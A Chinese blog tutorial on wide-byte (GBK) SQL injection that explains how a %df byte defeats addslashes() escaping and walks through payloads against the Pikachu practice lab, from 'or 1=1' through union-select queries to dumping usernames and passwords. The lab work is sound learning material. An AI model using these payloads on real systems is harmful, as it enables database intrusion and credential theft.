13.SQL注入-宽字节

SQL注入-宽字节

含义:

MySQL是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤 ’ ‘’ null 等这些敏感字符,将它们转义成’ ‘’ \null;然后宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸。
宽字节的注入条件有两个:
1.数据库编码设置成GB系列

这里说的GB系列编码,不是指PHP页面的编码,而是连接数据库使用的编码。

2.使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。

常见的包括addslashes()、mysql_real_escape_string()函数。
转义函数的转义作用,就是我们常说的“过滤机制”。

当两个条件都满足时,才会存在宽字节注入。

具体原理:

1.通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 ’ ,导致我们用来判断注入点的单引号失效。
所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
2.我们通过URL编码来分析,首先先看看这些特殊符号的URL编码:

URL转码
空格 %20
'   %27
#   %23
\   %5C

3.payload的是【%df '】,其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27成功逃逸
在这里插入图片描述

环境演示
通过pikachu请求宽字节注入,并且bp工具进行抓包
在这里插入图片描述

抓包的数据进行发送到repeater上进行输入payload语句测试
在这里插入图片描述

添加payload语句并发送,暴漏出所有的用户数据信息

name=%df' or 1=1#

如图所示:
在这里插入图片描述

判断可显字段
这里用order by判断字段数量会报错,不知道是什么原因。直接跳到下一步:用union select联合查询直接测试1,2是否为可显字段。
在这里插入图片描述

payload语句

name=kobe%df' union select 1,2#

可以看出第1,2个为可显字段
在这里插入图片描述

爆数据库名。
可以看到数据库名为pikachu,还有数据版本。
在这里插入图片描述

爆数据库表名。
注释:按照之前union联合查询注入的payload,【union select group_concat(table_name),2 from information_schema.tables where table_schema=“pikachu”】里面是存在引号的,但如果用%df来使引号逃逸,就会使查询语句出错,所以后面的payload都是用嵌套查询,避免使用引号。

name%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#

遍历出来所有的表名
在这里插入图片描述

暴字段名

kobe%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#

如图所示,暴漏出字段名
在这里插入图片描述

爆字段内容。

kobe%df' union select (select group_concat(username,0x3b,password) from pikachu.users),2#

数据库对应的用户名和密码,直接解密即可;
在这里插入图片描述

  • 17
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

愿听风成曲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值